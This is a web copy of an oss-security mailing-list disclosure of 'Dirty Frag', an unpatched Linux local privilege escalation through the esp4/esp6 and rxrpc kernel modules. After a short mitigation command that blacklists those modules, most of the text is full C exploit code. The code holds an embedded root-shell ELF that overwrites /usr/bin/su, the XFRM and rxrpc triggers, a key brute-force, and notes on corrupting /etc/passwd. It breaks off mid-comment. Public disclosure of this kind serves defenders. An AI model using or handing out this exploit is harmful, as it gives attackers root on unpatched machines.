Skip to content

Afzg S2SCWNc ZU3v U%40v4bel

lwn.net • May 11, 2026

From : Hyunwoo Kim To : oss-security-AT-lists.openwall.com Subject : [oss-security] Dirty Frag: Universal Linux LPE Date : Fri, 08 May 2026 03:56:11 +0900 Message-ID : Cc : imv4bel-AT-gmail.com Hi, This is a report on "Dirty Frag", a universal LPE that allows obtaining root privileges on all major distributions. This vulnerability has a similar impact to the Copy Fail. Because the embargo has now been broken, no patches or CVEs exist for these vulnerabilities. After consultation with the linux-distros@vs.openwall.org maintainers, and at the maintainers' request, I am publicly releasing this Dirty Frag document. As with the Copy Fail vulnerability, Dirty Frag likewise allows immediate root privilege escalation on all major distributions, and it chains two separate vulnerabilities: - - Because the responsible disclosure schedule and embargo have been broken, no patches exist for any distribution. Use the following command to remove the modules in which the vulnerabilities occur: ``` sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; true" ``` For detailed technical information the vulnerabilities and the reason the embargo was broken, please check Full exploit code: ```c #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef UDP_ENCAP #define UDP_ENCAP 100 #endif #ifndef UDP_ENCAP_ESPINUDP #define UDP_ENCAP_ESPINUDP 2 #endif #ifndef SOL_UDP #define SOL_UDP 17 #endif #define ENC_PORT 4500 #define SEQ_VAL 200 #define REPLAY_SEQ 100 #define TARGET_PATH "/usr/bin/su" #define PATCH_OFFSET 0 /* overwrite whole ELF starting at file[0] */ #define PAYLOAD_LEN 192 /* bytes of shell_elf to write (48 triggers) */ #define ENTRY_OFFSET 0x78 /* shellcode entry inside the new ELF */ /* * 192-byte minimal x86_64 root-shell ELF. * _start at 0x400078: * setgid(0); setuid(0); setgroups(0, NULL); * execve("/bin/sh", NULL, ["TERM=xterm", NULL]); * PT_LOAD covers 0xb8 bytes (the actual content) at vaddr 0x400000 R+X. * * Setting TERM in the new shell's env silences the * "tput: No value for $TERM" / "test: : integer expected" noise * /etc/bash.bashrc and friends emit when TERM is unset. * * Code (from offset 0x78): * 31 ff xor edi, edi * 31 f6 xor esi, esi * 31 c0 xor eax, eax * b0 6a mov al, 0x6a ; setgid * 0f 05 syscall * b0 69 mov al, 0x69 ; setuid * 0f 05 syscall * b0 74 mov al, 0x74 ; setgroups * 0f 05 syscall * 6a 00 push 0 ; envp[1] = NULL * 48 8d 05 12 00 00 00 lea rax, [rip+0x12] ; rax = "TERM=xterm" * 50 push rax ; envp[0] * 48 89 e2 mov rdx, rsp ; rdx = envp * 48 8d 3d 12 00 00 00 lea rdi, [rip+0x12] ; rdi = "/bin/sh" * 31 f6 xor esi, esi ; rsi = NULL (argv) * 6a 3b 58 push 0x3b ; pop rax ; rax = 59 (execve) * 0f 05 syscall ; execve("/bin/sh",NULL,envp) * "TERM=xterm\0" (offset 0xa5..0xaf) * "/bin/sh\0" (offset 0xb0..0xb7) */ static const uint8_t shell_elf[PAYLOAD_LEN] = { 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a, 0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12, 0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6, 0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00, 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, }; extern int g_su_verbose; int g_su_verbose = 0; #define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##__VA_ARGS__); } while (0) static int write_proc(const char *path, const char *buf) { int fd = open(path, O_WRONLY); if (fd nlmsg_len)); rta->rta_type = type; rta->rta_len = RTA_LENGTH(len); memcpy(RTA_DATA(rta), data, len); nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len); } static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi) { int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); if (sk nlmsg_type = XFRM_MSG_NEWSA; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_pid = getpid(); nlh->nlmsg_seq = 1; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info)); struct xfrm_usersa_info *xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh); xs->id.daddr.a4 = inet_addr("127.0.0.1"); xs->id.spi = htonl(spi); xs->id.proto = IPPROTO_ESP; xs->saddr.a4 = inet_addr("127.0.0.1"); xs->family = AF_INET; xs->mode = XFRM_MODE_TRANSPORT; xs->replay_window = 0; xs->reqid = 0x1234; xs->flags = XFRM_STATE_ESN; xs->lft.soft_byte_limit = (uint64_t)-1; xs->lft.hard_byte_limit = (uint64_t)-1; xs->lft.soft_packet_limit = (uint64_t)-1; xs->lft.hard_packet_limit = (uint64_t)-1; xs->sel.family = AF_INET; xs->sel.prefixlen_d = 32; xs->sel.prefixlen_s = 32; xs->sel.daddr.a4 = inet_addr("127.0.0.1"); xs->sel.saddr.a4 = inet_addr("127.0.0.1"); { char alg_buf[sizeof(struct xfrm_algo_auth) + 32]; memset(alg_buf, 0, sizeof(alg_buf)); struct xfrm_algo_auth *aa = (struct xfrm_algo_auth *)alg_buf; strncpy(aa->alg_name, "hmac(sha256)", sizeof(aa->alg_name)-1); aa->alg_key_len = 32 * 8; aa->alg_trunc_len = 128; memset(aa->alg_key, 0xAA, 32); put_attr(nlh, XFRMA_ALG_AUTH_TRUNC, alg_buf, sizeof(alg_buf)); } { char alg_buf[sizeof(struct xfrm_algo) + 16]; memset(alg_buf, 0, sizeof(alg_buf)); struct xfrm_algo *ea = (struct xfrm_algo *)alg_buf; strncpy(ea->alg_name, "cbc(aes)", sizeof(ea->alg_name)-1); ea->alg_key_len = 16 * 8; memset(ea->alg_key, 0xBB, 16); put_attr(nlh, XFRMA_ALG_CRYPT, alg_buf, sizeof(alg_buf)); } { struct xfrm_encap_tmpl enc; memset(&enc, 0, sizeof(enc)); enc.encap_type = UDP_ENCAP_ESPINUDP; enc.encap_sport = htons(ENC_PORT); enc.encap_dport = htons(ENC_PORT); enc.encap_oa.a4 = 0; put_attr(nlh, XFRMA_ENCAP, &enc, sizeof(enc)); } { char esn_buf[sizeof(struct xfrm_replay_state_esn) + 4]; memset(esn_buf, 0, sizeof(esn_buf)); struct xfrm_replay_state_esn *esn = (struct xfrm_replay_state_esn *)esn_buf; esn->bmp_len = 1; esn->oseq = 0; esn->seq = REPLAY_SEQ; esn->oseq_hi = 0; esn->seq_hi = patch_seqhi; esn->replay_window = 32; put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf, sizeof(esn_buf)); } if (send(sk, nlh, nlh->nlmsg_len, 0) nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *e = NLMSG_DATA(rh); if (e->error) { close(sk); return -1; } } close(sk); return 0; } static int do_one_write(const char *path, off_t offset, uint32_t spi) { int sk_recv = socket(AF_INET, SOCK_DGRAM, 0); if (sk_recv #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef AF_RXRPC #define AF_RXRPC 33 #endif #ifndef PF_RXRPC #define PF_RXRPC AF_RXRPC #endif #ifndef SOL_RXRPC #define SOL_RXRPC 272 #endif #ifndef SOL_ALG #define SOL_ALG 279 #endif #ifndef AF_ALG #define AF_ALG 38 #endif #ifndef MSG_SPLICE_PAGES #define MSG_SPLICE_PAGES 0x8000000 #endif /* ---- rxrpc constants ---- */ #define RXRPC_PACKET_TYPE_DATA 1 #define RXRPC_PACKET_TYPE_ACK 2 #define RXRPC_PACKET_TYPE_ABORT 4 #define RXRPC_PACKET_TYPE_CHALLENGE 6 #define RXRPC_PACKET_TYPE_RESPONSE 7 #define RXRPC_CLIENT_INITIATED 0x01 #define RXRPC_REQUEST_ACK 0x02 #define RXRPC_LAST_PACKET 0x04 #define RXRPC_CHANNELMASK 3 #define RXRPC_CIDSHIFT 2 struct rxrpc_wire_header { uint32_t epoch; uint32_t cid; uint32_t callNumber; uint32_t seq; uint32_t serial; uint8_t type; uint8_t flags; uint8_t userStatus; uint8_t securityIndex; uint16_t cksum; /* big-endian on wire */ uint16_t serviceId; } __attribute__((packed)); struct rxkad_challenge { uint32_t version; uint32_t nonce; uint32_t min_level; uint32_t __padding; } __attribute__((packed)); /* Attacker-chosen 8-byte session key used for the rxkad token. * Mutable because the LPE brute-force iterates over keys looking for * one that decrypts the file's UID field to a "0:" prefix. */ static uint8_t SESSION_KEY[8] = { 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08 }; #define LOG(fmt, ...) fprintf(stderr, "[+] " fmt "\n", ##__VA_ARGS__) #define WARN(fmt, ...) fprintf(stderr, "[!] " fmt "\n", ##__VA_ARGS__) #define DBG(fmt, ...) fprintf(stderr, "[.] " fmt "\n", ##__VA_ARGS__) /* =================================================================== */ /* unshare + map setup */ /* =================================================================== */ static int write_file(const char *path, const char *fmt, ...) { int fd = open(path, O_WRONLY); if (fd = 0) { struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strcpy(ifr.ifr_name, "lo"); if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) { ifr.ifr_flags |= IFF_UP | IFF_RUNNING; if (ioctl(s, SIOCSIFFLAGS, &ifr) maxlen) { errno = E2BIG; return -1; } return (int)(p - out); } static long add_rxrpc_key(const char *desc) { uint8_t buf[512]; int n = build_rxrpc_v1_token(buf, sizeof(buf)); if (n cmsg_level = SOL_ALG; c->cmsg_type = ALG_SET_OP; c->cmsg_len = CMSG_LEN(sizeof(int)); *(int *)CMSG_DATA(c) = op; c = CMSG_NXTHDR(&msg, c); c->cmsg_level = SOL_ALG; c->cmsg_type = ALG_SET_IV; c->cmsg_len = CMSG_LEN(sizeof(struct af_alg_iv) + 8); struct af_alg_iv *aiv = (struct af_alg_iv *)CMSG_DATA(c); aiv->ivlen = 8; memcpy(aiv->iv, iv, 8); struct iovec iov = { .iov_base = (void *)in, .iov_len = inlen }; msg.msg_iov = &iov; msg.msg_iovlen = 1; if (sendmsg(op_fd, &msg, 0) rxkad.csum_iv (ref: rxkad_prime_packet_security): * tmpbuf[0..3] = htonl(epoch, cid, 0, security_ix) (16 B) * PCBC-encrypt(tmpbuf, IV=session_key) → out[16] * csum_iv = out[8..15] (last 8 B = "tmpbuf[2..3]" after encryption) */ static int compute_csum_iv(uint32_t epoch, uint32_t cid, uint32_t sec_ix, const uint8_t key[8], uint8_t csum_iv[8]) { int s = alg_open_pcbc_fcrypt(key); if (s > 16) & 0xffff; if zero -> 1 */ static int compute_cksum(uint32_t cid, uint32_t call_id, uint32_t seq, const uint8_t key[8], const uint8_t csum_iv[8], uint16_t *cksum_out) { int s = alg_open_pcbc_fcrypt(key); if (s > 16) & 0xffff; if (v == 0) v = 1; *cksum_out = v; return 0; } /* =================================================================== */ /* AF_RXRPC client */ /* =================================================================== */ static int setup_rxrpc_client(uint16_t local_port, const char *keyname) { int fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET); if (fd cmsg_level = SOL_RXRPC; cmsg->cmsg_type = RXRPC_USER_CALL_ID; cmsg->cmsg_len = CMSG_LEN(sizeof(unsigned long)); *(unsigned long *)CMSG_DATA(cmsg) = user_call_id; /* Don't block forever if no ever comes through this single sendmsg. */ int fl = fcntl(cli_fd, F_GETFL); fcntl(cli_fd, F_SETFL, fl | O_NONBLOCK); ssize_t n = sendmsg(cli_fd, &msg, 0); fcntl(cli_fd, F_SETFL, fl); if (n epoch); uint32_t cid = ntohl(whdr_in->cid); uint32_t callN = ntohl(whdr_in->callNumber); uint16_t svc_in = ntohs(whdr_in->serviceId); uint16_t cli_port = ntohs(cli_addr.sin_port); /* Send CHALLENGE */ { struct { struct rxrpc_wire_header hdr; struct rxkad_challenge ch; } __attribute__((packed)) c = {0}; c.hdr.epoch = htonl(epoch); c.hdr.cid = htonl(cid); c.hdr.callNumber = 0; c.hdr.seq = 0; c.hdr.serial = htonl(0x10000); c.hdr.type = RXRPC_PACKET_TYPE_CHALLENGE; c.hdr.securityIndex = 2; c.hdr.serviceId = htons(svc_in); c.ch.version = htonl(2); c.ch.nonce = htonl(0xDEADBEEFu); c.ch.min_level = htonl(1); struct sockaddr_in to = { .sin_family=AF_INET, .sin_port=htons(cli_port), .sin_addr.s_addr=htonl(0x7F000001) }; if (sendto(udp_srv, &c, sizeof(c), 0, (struct sockaddr*)&to, sizeof(to)) 0) break; if (errno == EAGAIN || errno == EWOULDBLOCK) usleep(20000); else break; } fcntl(rxsk_cli, F_SETFL, fl); close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return 0; trig_fail: close(p[0]); close(p[1]); close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; } /* =================================================================== * USER-SPACE pcbc(fcrypt) BRUTE-FORCE * * The kernel's rxkad_verify_packet_1() does an in-place 8-byte * pcbc(fcrypt) decrypt with iv=0 over the page-cache page at the splice * offset. pcbc with single 8-B block and IV=0 reduces to a plain * fcrypt_decrypt(C, K). We can therefore for the right K * entirely in user-space — without touching the kernel/VM at all — * before applying ONE deterministic kernel trigger. * * Port of crypto/fcrypt.c from the kernel source (David Howells / KTH). * Verified against kernel test vectors: * K=0, decrypt(0E0900C73EF7ED41) = 00000000 * K=1144...66, decrypt(D8ED787477EC0680) = 123456789ABCDEF0 * =================================================================== */ static const uint8_t fc_sbox0_raw[256] = { 0xea, 0x7f, 0xb2, 0x64, 0x9d, 0xb0, 0xd9, 0x11, 0xcd, 0x86, 0x86, 0x91, 0x0a, 0xb2, 0x93, 0x06, 0x0e, 0x06, 0xd2, 0x65, 0x73, 0xc5, 0x28, 0x60, 0xf2, 0x20, 0xb5, 0x38, 0x7e, 0xda, 0x9f, 0xe3, 0xd2, 0xcf, 0xc4, 0x3c, 0x61, 0xff, 0x4a, 0x4a, 0x35, 0xac, 0xaa, 0x5f, 0x2b, 0xbb, 0xbc, 0x53, 0x4e, 0x9d, 0x78, 0xa3, 0xdc, 0x09, 0x32, 0x10, 0xc6, 0x6f, 0x66, 0xd6, 0xab, 0xa9, 0xaf, 0xfd, 0x3b, 0x95, 0xe8, 0x34, 0x9a, 0x81, 0x72, 0x80, 0x9c, 0xf3, 0xec, 0xda, 0x9f, 0x26, 0x76, 0x15, 0x3e, 0x55, 0x4d, 0xde, 0x84, 0xee, 0xad, 0xc7, 0xf1, 0x6b, 0x3d, 0xd3, 0x04, 0x49, 0xaa, 0x24, 0x0b, 0x8a, 0x83, 0xba, 0xfa, 0x85, 0xa0, 0xa8, 0xb1, 0xd4, 0x01, 0xd8, 0x70, 0x64, 0xf0, 0x51, 0xd2, 0xc3, 0xa7, 0x75, 0x8c, 0xa5, 0x64, 0xef, 0x10, 0x4e, 0xb7, 0xc6, 0x61, 0x03, 0xeb, 0x44, 0x3d, 0xe5, 0xb3, 0x5b, 0xae, 0xd5, 0xad, 0x1d, 0xfa, 0x5a, 0x1e, 0x33, 0xab, 0x93, 0xa2, 0xb7, 0xe7, 0xa8, 0x45, 0xa4, 0xcd, 0x29, 0x63, 0x44, 0xb6, 0x69, 0x7e, 0x2e, 0x62, 0x03, 0xc8, 0xe0, 0x17, 0xbb, 0xc7, 0xf3, 0x3f, 0x36, 0xba, 0x71, 0x8e, 0x97, 0x65, 0x60, 0x69, 0xb6, 0xf6, 0xe6, 0x6e, 0xe0, 0x81, 0x59, 0xe8, 0xaf, 0xdd, 0x95, 0x22, 0x99, 0xfd, 0x63, 0x19, 0x74, 0x61, 0xb1, 0xb6, 0x5b, 0xae, 0x54, 0xb3, 0x70, 0xff, 0xc6, 0x3b, 0x3e, 0xc1, 0xd7, 0xe1, 0x0e, 0x76, 0xe5, 0x36, 0x4f, 0x59, 0xc7, 0x08, 0x6e, 0x82, 0xa6, 0x93, 0xc4, 0xaa, 0x26, 0x49, 0xe0, 0x21, 0x64, 0x07, 0x9f, 0x64, 0x81, 0x9c, 0xbf, 0xf9, 0xd1, 0x43, 0xf8, 0xb6, 0xb9, 0xf1, 0x24, 0x75, 0x03, 0xe4, 0xb0, 0x99, 0x46, 0x3d, 0xf5, 0xd1, 0x39, 0x72, 0x12, 0xf6, 0xba, 0x0c, 0x0d, 0x42, 0x2e, }; static const uint8_t fc_sbox1_raw[256] = { 0x77, 0x14, 0xa6, 0xfe, 0xb2, 0x5e, 0x8c, 0x3e, 0x67, 0x6c, 0xa1, 0x0d, 0xc2, 0xa2, 0xc1, 0x85, 0x6c, 0x7b, 0x67, 0xc6, 0x23, 0xe3, 0xf2, 0x89, 0x50, 0x9c, 0x03, 0xb7, 0x73, 0xe6, 0xe1, 0x39, 0x31, 0x2c, 0x27, 0x9f, 0xa5, 0x69, 0x44, 0xd6, 0x23, 0x83, 0x98, 0x7d, 0x3c, 0xb4, 0x2d, 0x99, 0x1c, 0x1f, 0x8c, 0x20, 0x03, 0x7c, 0x5f, 0xad, 0xf4, 0xfa, 0x95, 0xca, 0x76, 0x44, 0xcd, 0xb6, 0xb8, 0xa1, 0xa1, 0xbe, 0x9e, 0x54, 0x8f, 0x0b, 0x16, 0x74, 0x31, 0x8a, 0x23, 0x17, 0x04, 0xfa, 0x79, 0x84, 0xb1, 0xf5, 0x13, 0xab, 0xb5, 0x2e, 0xaa, 0x0c, 0x60, 0x6b, 0x5b, 0xc4, 0x4b, 0xbc, 0xe2, 0xaf, 0x45, 0x73, 0xfa, 0xc9, 0x49, 0xcd, 0x00, 0x92, 0x7d, 0x97, 0x7a, 0x18, 0x60, 0x3d, 0xcf, 0x5b, 0xde, 0xc6, 0xe2, 0xe6, 0xbb, 0x8b, 0x06, 0xda, 0x08, 0x15, 0x1b, 0x88, 0x6a, 0x17, 0x89, 0xd0, 0xa9, 0xc1, 0xc9, 0x70, 0x6b, 0xe5, 0x43, 0xf4, 0x68, 0xc8, 0xd3, 0x84, 0x28, 0x0a, 0x52, 0x66, 0xa3, 0xca, 0xf2, 0xe3, 0x7f, 0x7a, 0x31, 0xf7, 0x88, 0x94, 0x5e, 0x9c, 0x63, 0xd5, 0x24, 0x66, 0xfc, 0xb3, 0x57, 0x25, 0xbe, 0x89, 0x44, 0xc4, 0xe0, 0x8f, 0x23, 0x3c, 0x12, 0x52, 0xf5, 0x1e, 0xf4, 0xcb, 0x18, 0x33, 0x1f, 0xf8, 0x69, 0x10, 0x9d, 0xd3, 0xf7, 0x28, 0xf8, 0x30, 0x05, 0x5e, 0x32, 0xc0, 0xd5, 0x19, 0xbd, 0x45, 0x8b, 0x5b, 0xfd, 0xbc, 0xe2, 0x5c, 0xa9, 0x96, 0xef, 0x70, 0xcf, 0xc2, 0x2a, 0xb3, 0x61, 0xad, 0x80, 0x48, 0x81, 0xb7, 0x1d, 0x43, 0xd9, 0xd7, 0x45, 0xf0, 0xd8, 0x8a, 0x59, 0x7c, 0x57, 0xc1, 0x79, 0xc7, 0x34, 0xd6, 0x43, 0xdf, 0xe4, 0x78, 0x16, 0x06, 0xda, 0x92, 0x76, 0x51, 0xe1, 0xd4, 0x70, 0x03, 0xe0, 0x2f, 0x96, 0x91, 0x82, 0x80, }; static const uint8_t fc_sbox2_raw[256] = { 0xf0, 0x37, 0x24, 0x53, 0x2a, 0x03, 0x83, 0x86, 0xd1, 0xec, 0x50, 0xf0, 0x42, 0x78, 0x2f, 0x6d, 0xbf, 0x80, 0x87, 0x27, 0x95, 0xe2, 0xc5, 0x5d, 0xf9, 0x6f, 0xdb, 0xb4, 0x65, 0x6e, 0xe7, 0x24, 0xc8, 0x1a, 0xbb, 0x49, 0xb5, 0x0a, 0x7d, 0xb9, 0xe8, 0xdc, 0xb7, 0xd9, 0x45, 0x20, 0x1b, 0xce, 0x59, 0x9d, 0x6b, 0xbd, 0x0e, 0x8f, 0xa3, 0xa9, 0xbc, 0x74, 0xa6, 0xf6, 0x7f, 0x5f, 0xb1, 0x68, 0x84, 0xbc, 0xa9, 0xfd, 0x55, 0x50, 0xe9, 0xb6, 0x13, 0x5e, 0x07, 0xb8, 0x95, 0x02, 0xc0, 0xd0, 0x6a, 0x1a, 0x85, 0xbd, 0xb6, 0xfd, 0xfe, 0x17, 0x3f, 0x09, 0xa3, 0x8d, 0xfb, 0xed, 0xda, 0x1d, 0x6d, 0x1c, 0x6c, 0x01, 0x5a, 0xe5, 0x71, 0x3e, 0x8b, 0x6b, 0xbe, 0x29, 0xeb, 0x12, 0x19, 0x34, 0xcd, 0xb3, 0xbd, 0x35, 0xea, 0x4b, 0xd5, 0xae, 0x2a, 0x79, 0x5a, 0xa5, 0x32, 0x12, 0x7b, 0xdc, 0x2c, 0xd0, 0x22, 0x4b, 0xb1, 0x85, 0x59, 0x80, 0xc0, 0x30, 0x9f, 0x73, 0xd3, 0x14, 0x48, 0x40, 0x07, 0x2d, 0x8f, 0x80, 0x0f, 0xce, 0x0b, 0x5e, 0xb7, 0x5e, 0xac, 0x24, 0x94, 0x4a, 0x18, 0x15, 0x05, 0xe8, 0x02, 0x77, 0xa9, 0xc7, 0x40, 0x45, 0x89, 0xd1, 0xea, 0xde, 0x0c, 0x79, 0x2a, 0x99, 0x6c, 0x3e, 0x95, 0xdd, 0x8c, 0x7d, 0xad, 0x6f, 0xdc, 0xff, 0xfd, 0x62, 0x47, 0xb3, 0x21, 0x8a, 0xec, 0x8e, 0x19, 0x18, 0xb4, 0x6e, 0x3d, 0xfd, 0x74, 0x54, 0x1e, 0x04, 0x85, 0xd8, 0xbc, 0x1f, 0x56, 0xe7, 0x3a, 0x56, 0x67, 0xd6, 0xc8, 0xa5, 0xf3, 0x8e, 0xde, 0xae, 0x37, 0x49, 0xb7, 0xfa, 0xc8, 0xf4, 0x1f, 0xe0, 0x2a, 0x9b, 0x15, 0xd1, 0x34, 0x0e, 0xb5, 0xe0, 0x44, 0x78, 0x84, 0x59, 0x56, 0x68, 0x77, 0xa5, 0x14, 0x06, 0xf5, 0x2f, 0x8c, 0x8a, 0x73, 0x80, 0x76, 0xb4, 0x10, 0x86, }; static const uint8_t fc_sbox3_raw[256] = { 0xa9, 0x2a, 0x48, 0x51, 0x84, 0x7e, 0x49, 0xe2, 0xb5, 0xb7, 0x42, 0x33, 0x7d, 0x5d, 0xa6, 0x12, 0x44, 0x48, 0x6d, 0x28, 0xaa, 0x20, 0x6d, 0x57, 0xd6, 0x6b, 0x5d, 0x72, 0xf0, 0x92, 0x5a, 0x1b, 0x53, 0x80, 0x24, 0x70, 0x9a, 0xcc, 0xa7, 0x66, 0xa1, 0x01, 0xa5, 0x41, 0x97, 0x41, 0x31, 0x82, 0xf1, 0x14, 0xcf, 0x53, 0x0d, 0xa0, 0x10, 0xcc, 0x2a, 0x7d, 0xd2, 0xbf, 0x4b, 0x1a, 0xdb, 0x16, 0x47, 0xf6, 0x51, 0x36, 0xed, 0xf3, 0xb9, 0x1a, 0xa7, 0xdf, 0x29, 0x43, 0x01, 0x54, 0x70, 0xa4, 0xbf, 0xd4, 0x0b, 0x53, 0x44, 0x60, 0x9e, 0x23, 0xa1, 0x18, 0x68, 0x4f, 0xf0, 0x2f, 0x82, 0xc2, 0x2a, 0x41, 0xb2, 0x42, 0x0c, 0xed, 0x0c, 0x1d, 0x13, 0x3a, 0x3c, 0x6e, 0x35, 0xdc, 0x60, 0x65, 0x85, 0xe9, 0x64, 0x02, 0x9a, 0x3f, 0x9f, 0x87, 0x96, 0xdf, 0xbe, 0xf2, 0xcb, 0xe5, 0x6c, 0xd4, 0x5a, 0x83, 0xbf, 0x92, 0x1b, 0x94, 0x00, 0x42, 0xcf, 0x4b, 0x00, 0x75, 0xba, 0x8f, 0x76, 0x5f, 0x5d, 0x3a, 0x4d, 0x09, 0x12, 0x08, 0x38, 0x95, 0x17, 0xe4, 0x01, 0x1d, 0x4c, 0xa9, 0xcc, 0x85, 0x82, 0x4c, 0x9d, 0x2f, 0x3b, 0x66, 0xa1, 0x34, 0x10, 0xcd, 0x59, 0x89, 0xa5, 0x31, 0xcf, 0x05, 0xc8, 0x84, 0xfa, 0xc7, 0xba, 0x4e, 0x8b, 0x1a, 0x19, 0xf1, 0xa1, 0x3b, 0x18, 0x12, 0x17, 0xb0, 0x98, 0x8d, 0x0b, 0x23, 0xc3, 0x3a, 0x2d, 0x20, 0xdf, 0x13, 0xa0, 0xa8, 0x4c, 0x0d, 0x6c, 0x2f, 0x47, 0x13, 0x13, 0x52, 0x1f, 0x2d, 0xf5, 0x79, 0x3d, 0xa2, 0x54, 0xbd, 0x69, 0xc8, 0x6b, 0xf3, 0x05, 0x28, 0xf1, 0x16, 0x46, 0x40, 0xb0, 0x11, 0xd3, 0xb7, 0x95, 0x49, 0xcf, 0xc3, 0x1d, 0x8f, 0xd8, 0xe1, 0x73, 0xdb, 0xad, 0xc8, 0xc9, 0xa9, 0xa1, 0xc2, 0xc5, 0xe3, 0xba, 0xfc, 0x0e, 0x25, }; static uint32_t fc_sbox0[256], fc_sbox1[256], fc_sbox2[256], fc_sbox3[256]; #include static void fcrypt_init_sboxes(void) { for (int i = 0; i > 5)); fc_sbox2[i] = htobe32((uint32_t)fc_sbox2_raw[i] > (n)) | ((k & ((1ULL > 1); k > 1); k > 1); k > 1); k > 1); k > 1); k > 1); k > 1); ctx->sched[0x0] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0x1] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0x2] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0x3] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0x4] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0x5] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0x6] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0x7] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0x8] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0x9] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0xa] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0xb] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0xc] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0xd] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0xe] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0xf] = htobe32((uint32_t)k); } #define FC_F(R_, L_, sched_) do { \ union { uint32_t l; uint8_t c[4]; } u; \ u.l = (sched_) ^ (R_); \ L_ ^= fc_sbox0[u.c[0]] ^ fc_sbox1[u.c[1]] ^ \ fc_sbox2[u.c[2]] ^ fc_sbox3[u.c[3]]; \ } while (0) static void fcrypt_user_decrypt(const fcrypt_uctx *ctx, uint8_t out[8], const uint8_t in[8]) { uint32_t L, R; memcpy(&L, in, 4); memcpy(&R, in + 4, 4); FC_F(L, R, ctx->sched[0xf]); FC_F(R, L, ctx->sched[0xe]); FC_F(L, R, ctx->sched[0xd]); FC_F(R, L, ctx->sched[0xc]); FC_F(L, R, ctx->sched[0xb]); FC_F(R, L, ctx->sched[0xa]); FC_F(L, R, ctx->sched[0x9]); FC_F(R, L, ctx->sched[0x8]); FC_F(L, R, ctx->sched[0x7]); FC_F(R, L, ctx->sched[0x6]); FC_F(L, R, ctx->sched[0x5]); FC_F(R, L, ctx->sched[0x4]); FC_F(L, R, ctx->sched[0x3]); FC_F(R, L, ctx->sched[0x2]); FC_F(L, R, ctx->sched[0x1]); FC_F(R, L, ctx->sched[0x0]); memcpy(out, &L, 4); memcpy(out + 4, &R, 4); } /* For the 2-splice chain we want the line to have EXACTLY 6 ':' and a * shell field that equals "/bin/bash" (in /etc/shells, valid path). * The two splices interlock as: * * bytes 7..14 (offset 2800): P1 — sets uid=0, gid=1 digit, then * 4 random gecos-prefix bytes. * bytes 15..22 (offset 2808): P2 — wipes the original ':' at line * pos 16, preserves ':' at pos 21 and '/' at pos 22. * * Combined line: "test:x:0:G:GGGGGGGGGG:/ /test:/bin/bash" * pos 0 8 21 32 * * pw_uid=0, pw_gid=G, pw_dir="/ /test", pw_shell="/bin/bash". * Now `su -s /bin/bash test` proceeds through the restricted_shell() * check (because /bin/bash IS in /etc/shells) and exec()s /bin/bash * under uid=0. * * === 3-splice predicates === * * After applying splices A, B, C in order to /etc/passwd 